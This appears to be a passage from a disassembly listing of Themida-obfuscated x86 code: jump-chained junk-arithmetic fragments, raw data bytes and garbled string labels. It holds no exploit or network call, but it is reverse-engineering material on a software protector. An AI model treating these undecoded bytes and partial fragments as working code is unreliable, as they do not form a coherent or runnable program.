		dd 1EE95966h, 3300000Bh, 60E9243Ch
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547D7B:				; CODE XREF: Themida_:0054AEC5j
		pop	esp
		jmp	loc_548A35
; ---------------------------------------------------------------------------


loc_547D81:				; CODE XREF: Themida_:0054E8E0j
		push	431E48C9h
		pop	esi
		jmp	loc_545ACF
; ---------------------------------------------------------------------------


loc_547D8C:				; CODE XREF: Themida_:0054D19Cj
		push	esi
		mov	esi, 4B296BCEh
		jmp	loc_54B7ED
; ---------------------------------------------------------------------------


loc_547D97:				; CODE XREF: Themida_:0054817Bj
		pop	ebp
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_547725
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFC8FBh, 64EF815Fh, 8B39D442h, 0C4832414h, 29BD5504h
		dd 815EB50Ch, 742A07EDh, 0E9EF0168h, 208Bh, 0E9241433h
		dd 67EDh, 0FF58088Bh, 34FF2434h, 241C8B24h, 81E68956h
		dd 4C6h, 4C68100h, 0E9000000h, 0FFFFE2EDh
; ---------------------------------------------------------------------------


loc_547DF4:				; CODE XREF: Themida_:0054D980j
		pop	edi
		xor	ecx, ebp
		pop	ebp
		jmp	loc_54680A
; ---------------------------------------------------------------------------
byte_547DFD	db 8Bh,	4, 24h		; DATA XREF: Themida_:00544424o
		dd 57E38953h, 0B62E04BFh, 4EFC11Bh, 0CF81DFF7h,	7A3930B5h
		dd 73A8CF81h, 0EF81684Bh, 0FE7FFFB9h, 2B76E9h
		db 0
; ---------------------------------------------------------------------------


loc_547E25:				; CODE XREF: Themida_:005497A2j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54B535
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 4EC8324h, 609DE9h, 24348700h, 0DFC5815Dh, 124EA9Ch
		dd 54565DEBh, 0FD92E95Eh, 0E981FFFFh, 42772BB2h, 514DE181h
		dd 0F1817AE4h, 0B4CCC9D3h, 8959CB01h, 0D1F75BD9h, 0FFF519E9h
		dd 244668FFh, 1C890000h, 0DBBBE924h
		db 2 dup(0FFh)
word_547E7A	dw 28E9h		; DATA XREF: Themida_:off_544450o
		dd 0B7FFFFC8h, 0E9E70014h, 0FFFFD3DAh
; ---------------------------------------------------------------------------


loc_547E88:				; CODE XREF: Themida_:00548E56j
		pop	esp
		jmp	loc_548007
; ---------------------------------------------------------------------------


loc_547E8E:				; CODE XREF: Themida_:0054A0C0j
		push	ecx
		mov	ch, 0A2h
		push	eax
		jmp	loc_54B64D
; ---------------------------------------------------------------------------


loc_547E97:				; CODE XREF: Themida_:005471ECj
		mov	ebx, esp
		jmp	loc_547EE5
; ---------------------------------------------------------------------------
		dw 0EF83h
		dd 243C8704h, 8924248Bh, 1CE92404h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547EAF:				; CODE XREF: Themida_:00551344j
		add	esp, 4


loc_547EB5:				; CODE XREF: Themida_:0054C841j
		push	ebx
		push	dword ptr [esp]
		jmp	loc_544E38
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 4CE5D9F9h, 0E95EF389h, 38EBh, 0E9243C8Bh, 19BAh, 240C8966h
		dd 8B83E9h, 24348900h, 682BE9h
		db 0
; ---------------------------------------------------------------------------


loc_547EE5:				; CODE XREF: Themida_:00547E99j
		push	edi
		mov	edi, 4
		add	ebx, edi
		jmp	loc_54F097
; ---------------------------------------------------------------------------


loc_547EF2:				; CODE XREF: Themida_:005475F5j
		or	dh, 0A2h
		or	dh, 0AFh
		xor	dh, 0D9h
		sub	ch, dh
		pop	edx
		sub	al, ch
		mov	ecx, [esp]
		jmp	loc_5447E5
; ---------------------------------------------------------------------------
		dd 582434FFh, 0FFF240E9h
		db 0FFh
byte_547F11	db 53h,	0BBh, 38h	; DATA XREF: Themida_:00544438o
		dd 81000000h, 0B423C6EBh, 0E9FB017Fh, 682Dh
; ---------------------------------------------------------------------------


loc_547F24:				; CODE XREF: Themida_:005508ABj
		sub	esi, 548F53C6h
		add	esi, 5E5218D6h
		and	esi, 5F635E33h
		jmp	loc_550AAE
; ---------------------------------------------------------------------------
aS@u		db '\é@u',0
		dd 24040100h, 0C75DE99Ch, 0F581FFFFh, 0FF3FAD04h, 4E9EE01h
		dd 0C1000058h, 78E906E0h, 8900001Fh, 8BEA89DDh,	8950242Ch
		dd 405E0h, 4050000h, 87000000h,	5B5C2404h, 148BD601h, 4C48324h
		dd 0E9243487h, 0FFFFEDA7h, 0FFC71AE9h, 88BB53FFh, 0C11CA613h
		dd 9DE903EBh
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547F9B:				; CODE XREF: Themida_:0054C917j
		push	ebx
		mov	ebx, 2D0A7127h
		jmp	loc_54D040
; ---------------------------------------------------------------------------
		dw 0D120h
		dd 0D1F65A66h, 8023E180h, 0C82884C1h, 0C0E95B59h, 6600007Ah
		dd 0B7241C89h, 66FD08EBh, 5EDC05Bh, 80FFED80h, 4C2C50EDh
		dd 775EE9h
		db 0
; ---------------------------------------------------------------------------


loc_547FD5:				; CODE XREF: Themida_:0054D346j
		push	ebx
		push	eax
		mov	eax, 1D9F5C52h
		mov	ebx, 53572D9Dh
		xor	ebx, eax
		pop	eax
		push	esi
		mov	esi, 32B1322Ch
		jmp	loc_54BA64
; ---------------------------------------------------------------------------


loc_547FEF:				; CODE XREF: Themida_:0054E509j
		shl	edi, 8
		sub	edi, 614A23FCh
		add	edx, edi
		pop	edi
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_546286
; ---------------------------------------------------------------------------


loc_548007:				; CODE XREF: Themida_:00547E89j
		mov	[esp], eax
		mov	eax, 5ADD130Bh
		push	0
		sub	[esp], eax
		pop	eax
		sub	eax, 5C6B4CFEh
		push	ebx
		jmp	loc_546A93
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0BA2505D0h, 0C50106F3h, 8124048Bh, 4C4h, 242C8700h
		dd 0FE24248Bh, 0E99C2404h, 0FFFFC663h
; ---------------------------------------------------------------------------


loc_548044:				; CODE XREF: Themida_:0054ED19j
		mov	esp, [esp]
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	ebx
		push	esi
		mov	esi, 2
		push	esi
		pop	ebx
		pop	esi
		sub	edx, ebx
		pop	ebx
		jmp	loc_54FE54
; ---------------------------------------------------------------------------
		dd 5838ED81h, 0F58179C2h, 0FD98F84Fh, 0FFF262E9h
		db 0FFh
byte_548075	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005445E0o
		dd 4EC8324h, 68242C89h,	2AC6h, 215CE9h
		db 0
byte_548089	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054465Co
		dd 4E685024h, 89000017h, 4832424h, 5580424h, 4,	51685652h
		dd 8B2E2F3Bh, 0C4812434h, 4, 0E681D6F7h, 40E6036Fh, 2CF681h
		dd 0F28940C0h, 5684E9h,	21EA8000h, 2842C280h, 0E9C05AD1h
		dd 0AFE98007h, 0C800D22Ch, 1A23E9h, 0C5C5E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5480E2:				; CODE XREF: Themida_:0054FFBCj
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_546198
; ---------------------------------------------------------------------------
		dd 202DD0F7h, 2969759Dh, 0C58158C5h, 1F12502Eh,	13CBE9h
		db 0
; ---------------------------------------------------------------------------


loc_548105:				; CODE XREF: Themida_:0054B7E8j
		mov	ebx, edx
		pop	edx
		neg	ebx
		xor	ebx, 7BD12B5Ch
		shl	ebx, 2
		and	ebx, 6008364Fh
		sub	ebx, 0D4FFE28h
		jmp	loc_54C087
; ---------------------------------------------------------------------------


loc_548124:				; CODE XREF: Themida_:0054C301j
		not	esi
		push	ebx
		mov	ebx, 0A80ABFEBh
		add	esi, ebx
		pop	ebx
		mov	ecx, esi
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		xor	ecx, 505069E6h
		add	ebp, 73C43E9Dh
		add	ebp, ecx
		sub	ebp, 73C43E9Dh
		jmp	loc_54CF2A
; ---------------------------------------------------------------------------
		dw 0D301h
		dd 4DE5EB81h, 148B43BCh, 901FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548172:				; CODE XREF: Themida_:005473BDj
		pop	esi
		add	edx, ebp
		sub	edx, 782B3139h
		jmp	loc_547D97
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0B966240Ch, 0C1661670h, 0F76607E1h, 0BA6652D1h
		dd 0C16643D4h, 0F76608EAh, 0EA8166DAh, 1669758h, 7A25E9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5481AA:				; CODE XREF: Themida_:0054A557j
		mov	[esp], ecx
		jmp	loc_547CAB
; ---------------------------------------------------------------------------
aYsR		db 'Yé!R',0
		align 4


loc_5481B8:				; CODE XREF: Themida_:0054559Bj
		mov	[esp], eax
		mov	eax, 70781BA6h
		sub	dword ptr [esp+8], 43736DEFh
		add	dword ptr [esp+8], 42937BC2h
		sub	[esp+8], eax
		sub	dword ptr [esp+8], 42937BC2h
		add	dword ptr [esp+8], 43736DEFh
		jmp	loc_545AA9
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 83000000h, 1C8704C3h, 0ACE95C24h
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5481FB:				; CODE XREF: Themida_:0054DC51j
		mov	bh, 4Eh
		and	bh, 64h
		or	bh, 36h
		or	bh, 43h
		dec	bh
		xor	bh, 9
		mov	dl, bh
		pop	bx
		push	49C2h
		mov	[esp], eax
		push	ecx
		mov	ch, dl
		mov	ah, ch
		pop	ecx
		mov	bh, ah
		pop	eax
		jmp	loc_54B68B
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FFD72AE9h, 4C381FFh, 81000000h, 2C3h, 241C8700h, 6824248Bh
		dd 22C9h, 5958E9h, 5DEE0100h, 3302C683h, 34312434h, 0F0F0E924h
		dd 148BFFFFh, 4C48124h,	0E9000000h, 0FFFFC43Fh,	0B5EA80h
		dd 0EE97E9D0h, 0E9D1FFFFh, 0C770E955h, 483FFFFh, 48F0424h
		dd 34986824h, 0C890000h, 4B85024h, 50000000h, 63240481h
		dd 59700A38h, 3863E981h, 0E958700Ah, 634Eh
dword_5482A4	dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFFC3F3h, 0D224248Bh
					; DATA XREF: Themida_:00544524o
		dd 0E99C243Ch, 0FFFFC3E7h, 0C80FEA81h, 0CA81507Bh, 524C2633h
		dd 3EB9BD55h, 0DDF71D14h, 8108EDC1h, 18F1EF5h, 0E9EA211Bh
		dd 20BFh
; ---------------------------------------------------------------------------


loc_5482E4:				; CODE XREF: Themida_:00548B78j
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_54D609
; ---------------------------------------------------------------------------


loc_5482F5:				; CODE XREF: Themida_:00545AAFj
		sub	dword ptr [esp+4], 26DE1ACFh
		pop	ebx
		pop	dword ptr [edi+24h]
		jmp	loc_545A63
; ---------------------------------------------------------------------------


loc_548306:				; CODE XREF: Themida_:0054AE89j
		add	bl, al
		add	bl, 0ACh
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		xor	dword ptr [esp], 35AD324Ch
		jmp	loc_54915B
; ---------------------------------------------------------------------------
byte_54831D	db 66h,	8Bh, 4		; DATA XREF: Themida_:005444A4o
		dd 4EC8124h, 89000000h,	0D368243Ch, 0E900005Bh,	0FFFFCB99h
; ---------------------------------------------------------------------------


loc_548334:				; CODE XREF: Themida_:00550FFBj
		mov	ebp, 7A1C35A7h
		jmp	loc_54ADB2
; ---------------------------------------------------------------------------
word_54833E	dw 8B66h		; DATA XREF: Themida_:005445B4o
		dd 2DE92404h, 8B000077h, 54532434h, 5B2434FFh, 6804C483h
		dd 6CC4h, 7F01E9h
		db 0
; ---------------------------------------------------------------------------


loc_54835D:				; CODE XREF: Themida_:005456FBj
		xchg	ebp, [esp]
		jmp	loc_5449BE
; ---------------------------------------------------------------------------
		db 51h,	81h, 4
		dd 312FF124h, 0EF815F7Bh, 7B312FF1h, 5FFD2959h,	0E9242C33h
		dd 67A2h, 2B8h,	0CFBD5500h, 813D0E11h, 0DE0588F5h, 0E9EE012Fh
		dd 0E40h
; ---------------------------------------------------------------------------


loc_548398:				; CODE XREF: Themida_:0054FFAEj
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 3C5653C2h
		add	edi, 1752AD2Ah
		xor	[esp+4], edi
		jmp	loc_54A945
; ---------------------------------------------------------------------------
		db 81h
		dd 0F579A0EAh, 0FC22D99h, 0D00102C7h, 0C70FC205h, 0BA525A02h
		dd 77686FBDh, 6F8FE9h
		db 0
aFlS?y		db 'f‹$$é?y',0          ; DATA XREF: Themida_:005445FCo
		align 2
aBulnlnsu8	db 'ã«N‹néî8',0
		db 0
; ---------------------------------------------------------------------------


loc_5483E5:				; CODE XREF: Themida_:00544AF0j
		push	ebp
		push	ecx
		mov	ecx, 1DF52532h
		mov	ebp, ecx
		pop	ecx
		push	edx
		mov	edx, 5B1623F9h
		sub	ebp, edx
		jmp	loc_551141
; ---------------------------------------------------------------------------


loc_5483FC:				; CODE XREF: Themida_:00544862j
		mov	[esp], eax
		mov	eax, 3B215611h
		push	ecx
		push	713D2904h
		jmp	loc_54B8A6
; ---------------------------------------------------------------------------
byte_54840F	db 66h			; DATA XREF: Themida_:00544444o
		dd 5324048Bh, 0C3815B54h, 4, 0BF575156h, 62EE7A40h, 0AC3F781h
		dd 0EF815543h, 0D2F96E43h, 2A95E9h, 0EFBF5700h,	814DB30Ah
		dd 0F33BBACFh, 68DFF719h, 649Ch, 0BD242C89h, 376038FEh
		dd 30EFF581h, 0D5F7623Ah, 2664F581h, 0F58123F3h, 57A85E54h
		dd 682ED81h, 0EF2905CBh, 5FF9295Dh, 5714E9h
		db 0
; ---------------------------------------------------------------------------


loc_548475:				; CODE XREF: Themida_:0054B538j
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, edx
		jmp	loc_54D0FF
; ---------------------------------------------------------------------------


loc_54848D:				; CODE XREF: Themida_:0054DD28j
		sub	ebp, 0F5523824h
		mov	eax, ebp
		pop	ebp
		push	edi
		mov	edi, 50E31B2h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 15003657h
		push	edi
		push	21397223h
		pop	edi
		jmp	loc_548AA2
; ---------------------------------------------------------------------------
aVTw?nsc	db 'V¾Êtw?Néç`',0
		align 2
aBi3sxs81	db 'ë[',1Bh,'3SXé81',0
		align 2


loc_5484CE:				; CODE XREF: Themida_:005472A5j
		pop	ax
		add	al, 0FEh
		add	al, ch
		sub	al, 0FEh
		pop	ecx
		add	bl, 0F5h
		push	72B9h
		mov	[esp], edx
		mov	dl, 0CAh
		push	eax
		mov	al, 72h
		or	dl, al
		jmp	loc_54B807
; ---------------------------------------------------------------------------
		dw 4BEh
		dd 1000000h, 2C875EF5h,	496CE924h, 815A0000h, 6F2CACEBh
		dd 81CB0118h, 6F2CACC3h, 240C8B18h, 0E904C483h,	0FFFFCFD8h
		dd 0E924048Fh, 3E57h
; ---------------------------------------------------------------------------


loc_548520:				; CODE XREF: Themida_:00545F8Bj
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_54A284
; ---------------------------------------------------------------------------
		dw 0EB68h
		dd 89000024h, 74FF243Ch, 3C8B0424h, 4C48124h, 0E9000000h
		dd 75Bh, 5966C304h, 132F6851h, 14890000h, 806CB624h, 0D6F66FF6h
		dd 0D0F7F680h, 80CEFEE6h, 685062EEh, 115Dh, 0E9240C89h
		dd 41D0h, 5BD800h, 2CC02CF0h, 0E9515AEAh, 80F0h, 0E924348Bh
		dd 2A3Eh, 5704EAC1h, 27F87DBFh,	5FFA311Bh, 13F2E9h, 9FE95B00h
		dd 89000024h, 2BE468E5h, 3C890000h, 1554BF24h, 0C78360C2h
		dd 7DB95101h, 316F8920h, 0EF8759CFh, 0EF87D5F7h, 0CAD3EF81h
		dd 0FD01F0B4h, 0FFC54DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5485D1:				; CODE XREF: Themida_:0054E96Ej
		mov	ebp, 416D1D56h
		sub	ebp, 3C776C34h
		sub	ebp, 75C52587h
		and	ebp, 2451474Ch
		or	ebp, 75D23824h
		xor	ebp, 66F937ADh
		or	esi, ebp
		pop	ebp
		shr	esi, 7
		add	esi, 0EF6341Bh
		sub	esi, 0F88F2D9h
		xor	ebx, esi
		mov	esi, [esp]
		jmp	loc_549F2D
; ---------------------------------------------------------------------------


loc_548610:				; CODE XREF: Themida_:0054D744j
		and	eax, 51CC50DDh
		shr	eax, 4
		push	1280h
		mov	[esp], ebx
		mov	ebx, 674D64E1h
		add	ebx, 0F63D186Fh
		add	eax, ebx
		jmp	loc_5494C7
; ---------------------------------------------------------------------------


loc_548632:				; CODE XREF: Themida_:0054C199j
		mov	esp, [esp]
		jmp	loc_54F883
; ---------------------------------------------------------------------------
		dw 5F5Ah
		dd 3302C583h, 2C31242Ch, 242C3324h, 24D3665Ch, 54E99C24h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548653:				; CODE XREF: Themida_:0054B9B5j
		not	ecx
		push	ebx
		mov	ebx, 0D678938Ah
		xor	ecx, ebx
		jmp	loc_54E5D4
; ---------------------------------------------------------------------------


loc_548662:				; CODE XREF: Themida_:005456A2j
		sub	[esp+4], ecx
		sub	dword ptr [esp+4], 6A710F6Dh
		jmp	loc_545833
; ---------------------------------------------------------------------------
aNsM		db '­éšm',0             ; DATA XREF: Themida_:005443ECo
		dd 0FCE95700h, 0F00003Ah, 34FFC0B6h, 2FB26887h,	4EE90000h
		dd 81FFFFF8h, 4ECh, 241C8900h, 4BBh, 25C68100h,	149D55Dh
		dd 25BD55DEh, 0E949D55Dh, 44D3h, 8B240487h, 4202424h, 0E8E99C24h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5486BF:				; CODE XREF: Themida_:0054DFE7j
		push	cx
		mov	cl, 92h
		sub	dl, cl
		pop	cx
		add	al, 7Eh
		add	al, dl
		push	cx
		jmp	loc_5477F3
; ---------------------------------------------------------------------------
		dw 70B9h
		dd 0F75EC412h, 81D9F7D1h, 7C77BEE9h, 0D4E9811Bh, 816B7462h
		dd 0D337DBF1h, 59CF01D7h, 8B243C87h, 6DE92424h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5486FB:				; CODE XREF: Themida_:0054B8E5j
		pop	esp
		jmp	loc_54A3B4
; ---------------------------------------------------------------------------
		db 66h,	52h, 0B2h
		dd 0F89CE9FEh, 8B66FFFFh, 0C4812404h, 2, 24048F66h, 2EC81h
		dd 5E90000h, 52FFFFD7h,	0AA5CEABAh, 88F2812Dh, 0E955A77Dh
		dd 0FFFFE4C3h
; ---------------------------------------------------------------------------


loc_548734:				; CODE XREF: Themida_:0054BF28j
		xor	[esp], edi
		mov	eax, [esp]
		push	ebp
		jmp	loc_545F65
; ---------------------------------------------------------------------------
		dd 0CFF58058h, 0F59EB00h, 34FFC0B6h, 5F2D6887h,	4890000h
		dd 59BDE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54875A:				; CODE XREF: Themida_:00545CD8j
		add	dword ptr [edi+24h], 0FFBF4425h
		xor	edx, edx
		push	34C7h
		mov	[esp], ebx
		add	dword ptr [esp], 1A06564Fh
		push	dword ptr [esp]
		pop	eax
		push	ebx
		push	esp
		pop	ebx
		push	105Dh
		jmp	loc_54AF6E
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 24148700h, 0E389535Ch,	0A8E9h
		db 0
; ---------------------------------------------------------------------------


loc_548795:				; CODE XREF: Themida_:0054FCFFj
		add	eax, 0B2867F3Bh
		jmp	loc_544CFF
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24348900h, 4BEh, 8BF08900h, 0C4832434h, 58C20104h
		dd 2BE56h, 0F2010000h, 2414875Eh, 24248Bh, 0E99C2404h
		dd 0FFFFBED7h, 0FF241489h, 5A042474h, 0E924048Fh, 894Bh
; ---------------------------------------------------------------------------


loc_5487E0:				; CODE XREF: Themida_:005506FEj
		pop	ecx
		mov	ch, bh
		pop	ebx
		add	ch, bh
		pop	ebx
		push	edx
		mov	dh, 0B1h
		xor	dh, 48h
		sub	dh, 0B4h
		jmp	loc_54F02E
; ---------------------------------------------------------------------------


loc_5487F5:				; CODE XREF: Themida_:0054490Bj
		add	dword ptr [esp+4], 695B3C66h
		jmp	loc_54F6E9
; ---------------------------------------------------------------------------


loc_548802:				; CODE XREF: Themida_:00548F55j
		add	esp, 4
		pop	edx
		jmp	loc_55017C
; ---------------------------------------------------------------------------


loc_54880E:				; CODE XREF: Themida_:00551126j
		add	esp, 4
		jmp	loc_54BB98
; ---------------------------------------------------------------------------


loc_548816:				; CODE XREF: Themida_:00548E0Cj
		xor	ebx, 0D1B4859h
		pop	ebp
		and	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_54B77B
; ---------------------------------------------------------------------------


loc_548827:				; CODE XREF: Themida_:005453E4j
		sub	esi, 0B1BD4F89h
		add	eax, esi
		push	dword ptr [esp]
		jmp	loc_549B9D
; ---------------------------------------------------------------------------
aSE		db '\éËe',0
		dd 4C38100h, 81000000h,	4EBh, 241C3300h, 33241C31h, 39E9241Ch
		dd 55000034h, 59C3B951h, 0B4BD55BBh, 2935C426h,	0EE8159CDh
		dd 332E4676h, 0F97E9h
		db 0
; ---------------------------------------------------------------------------


loc_548871:				; CODE XREF: Themida_:0054ECAFj
		mov	esi, 0BB80EF54h
		add	ecx, esi
		jmp	loc_54B2E3
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 242C895Ch, 4BDh, 5DEE0100h, 411DE9h,	4EC8300h, 4BC2E9h
		dd 50E95600h, 5000001Fh, 412965B8h, 58C20128h, 0FFCFA3E9h
		dd 24348BFFh, 4C481h, 48F0000h,	0F665C24h, 9C2404B3h, 0FFD7CDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5488C5:				; CODE XREF: Themida_:0054F5F7j
		not	edx
		sub	edx, 5893624Ah
		mov	ebx, edx
		pop	edx
		push	edx
		jmp	loc_54CD16
; ---------------------------------------------------------------------------


loc_5488D6:				; CODE XREF: Themida_:00546B13j
		pop	edi
		or	ecx, 60CA3818h
		jmp	loc_54EAF0
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 0E931EBBDh, 815AD601h, 4C6h,	24348700h, 6333E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5488FA:				; CODE XREF: Themida_:0054EC78j
		jmp	loc_5446A7
; ---------------------------------------------------------------------------
		db 80h
		dd 505AC3C5h, 0FFC880E9h, 4EC81FFh, 0E9000000h,	0FFFFC4A2h
		dd 0D0D9E95Fh, 94B5FFFFh, 665AF528h, 0C3B05052h, 2858C288h
		dd 285A66D0h, 0FC16E9E8h, 5451FFFFh, 4C18159h, 52000000h
		dd 0CD3719BAh, 0D2E94A31h, 56000015h, 0FFC5E9E9h, 6F3068FFh
		dd 1C890000h, 7457E924h, 0E7BE0000h, 81498A08h,	5A0C96CEh
		dd 91C68157h, 0C13A865Fh, 0C68104EEh, 2AB30DE3h, 6CC68146h
		dd 0E9255B56h, 148Eh
; ---------------------------------------------------------------------------


loc_548980:				; CODE XREF: Themida_:0054908Ej
		xor	esi, ebx
		pop	ebx
		shr	esi, 1
		add	esi, 1
		shr	esi, 3
		jmp	loc_5453E1
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 64E95824h, 52000020h, 6701E9h
		db 0
; ---------------------------------------------------------------------------


loc_5489A5:				; CODE XREF: Themida_:00546427j
		pop	esi
		add	edi, ebx
		sub	edi, 55C963CCh
		pop	ebx
		jmp	loc_546AA7
; ---------------------------------------------------------------------------
		dd 0A2E9E700h, 8BFFFFD2h, 0C4812434h, 4, 0EA81C201h, 65C522D7h
		dd 0E92434FFh, 743Bh
; ---------------------------------------------------------------------------


loc_5489D4:				; CODE XREF: Themida_:0054B705j
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_54C4CD
; ---------------------------------------------------------------------------
		dd 0C581E589h, 4, 0E904ED83h, 3BAEh
; ---------------------------------------------------------------------------


loc_5489F8:				; CODE XREF: Themida_:0054B72Bj
		push	ebp
		mov	ebp, 10313043h
		add	ebp, 0A2B830DEh
		add	ebx, ebp
		pop	ebp
		or	edx, ebx
		pop	ebx
		dec	edx
		jmp	loc_54F90E
; ---------------------------------------------------------------------------
		dd 2404875Fh, 0E952665Ch, 7A93h, 83D6002Dh, 0E9C20186h
		dd 4029h
; ---------------------------------------------------------------------------


loc_548A28:				; CODE XREF: Themida_:005462C4j
		mov	[esp], ecx
		mov	ecx, 2734197Ah
		jmp	loc_54F88E
; ---------------------------------------------------------------------------


loc_548A35:				; CODE XREF: Themida_:00547D7Cj
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_5473A8
; ---------------------------------------------------------------------------
		db 83h
		dd 0B85004C4h, 4, 8358C601h, 348704C6h,	48F5C24h, 21665C24h
		dd 0E99C2404h, 695Fh
; ---------------------------------------------------------------------------


loc_548A60:				; CODE XREF: Themida_:0054FF30j
		pop	esp
		jmp	loc_548B28
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 4, 5068E9h
		db 0
; ---------------------------------------------------------------------------


loc_548A71:				; CODE XREF: Themida_:0054E3E5j
		add	esp, 4
		add	edx, ebp
		pop	ebp
		jmp	loc_54CDDF
; ---------------------------------------------------------------------------
		db 52h
		dd 0B5686655h, 0C8EFE957h, 0C483FFFFh, 66BA5204h, 53450C27h
		dd 0E15101BBh, 0EBC14367h, 6649E903h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548AA2:				; CODE XREF: Themida_:005484B1j
		xchg	edx, edi
		not	edx
		xchg	edx, edi
		sub	edi, 0AB975EDh
		sub	edi, 0E08D23E2h
		push	ebx
		mov	ebx, edi
		mov	ecx, ebx
		pop	ebx
		jmp	loc_551123
; ---------------------------------------------------------------------------
		db 55h
		dd 0C5815D54h, 4, 0FA20E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548ACE:				; CODE XREF: Themida_:0054B4C3j
		sub	edx, 2A0C7798h
		mov	esi, edx
		jmp	loc_54BD8E
; ---------------------------------------------------------------------------
aNBu_SZ		db '­-u_$é)‡',0        ; DATA XREF: Themida_:005443D4o
		align 2
		dw 0E95Dh
		dd 399h
; ---------------------------------------------------------------------------


loc_548AEC:				; CODE XREF: Themida_:0054C02Ej
		pop	esp
		mov	[esp], esi
		push	30Eh
		mov	[esp], edx
		jmp	loc_54ECDF
; ---------------------------------------------------------------------------


loc_548AFD:				; CODE XREF: Themida_:0054E1CBj
		mov	[edx+38h], esi
		push	dword ptr [esp]
		pop	esi
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_545DAF
; ---------------------------------------------------------------------------
		dw 0DBAh
		dd 0E92A3008h, 0FFFFF169h
; ---------------------------------------------------------------------------


loc_548B28:				; CODE XREF: Themida_:00548A61j
		mov	[esp], ebp
		push	7C4932FEh
		pop	ebp
		dec	ebp
		jmp	loc_54F994
; ---------------------------------------------------------------------------
		db 31h
		dd 0E9C15EF1h, 2D326808h, 0CDE90000h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548B47:				; CODE XREF: Themida_:0054E694j
		mov	eax, 2A3B388Eh
		neg	eax
		sub	eax, 0D5C4C76Eh
		push	ebx
		mov	ebx, 71DC2FB5h
		add	esi, ebx
		pop	ebx
		sub	esi, eax
		sub	esi, 71DC2FB5h
		jmp	loc_54BCAD
; ---------------------------------------------------------------------------


loc_548B69:				; CODE XREF: Themida_:0054C3F5j
		inc	edi
		xor	edi, 2B37287Ch
		add	eax, edi
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_5482E4
; ---------------------------------------------------------------------------


loc_548B7D:				; CODE XREF: Themida_:0054589Bj
		xor	esi, [esp]
		pop	esp
		push	ebx
		push	ebp
		jmp	loc_54D2F0
; ---------------------------------------------------------------------------
		dd 88E9D601h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548B8F:				; CODE XREF: Themida_:00548BD5j
		sub	ecx, 0AA091575h
		jmp	loc_54E287
; ---------------------------------------------------------------------------


loc_548B9A:				; CODE XREF: Themida_:00546E53j
		mov	edi, 1E0A6637h
		add	edi, 14870083h
		jmp	loc_548C83
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 62F83AAAh, 8324348Bh, 0EF8104C4h, 4,	31243C33h, 3C33243Ch
		dd 0C895C24h, 1CC0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548BCE:				; CODE XREF: Themida_:0054C87Cj
		pop	esi
		sub	ecx, 7F4D41BEh
		jmp	loc_548B8F
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd offset dword_450050+36D99h
		dd 15EB8000h, 0D828F22Ch, 1C8BF204h, 4C48124h, 66000000h
		dd 2C5EB551h, 28482C58h, 44804E8h, 0C8B6658h, 0D56AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548C0A:				; CODE XREF: Themida_:00546E59j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_550CA7
; ---------------------------------------------------------------------------


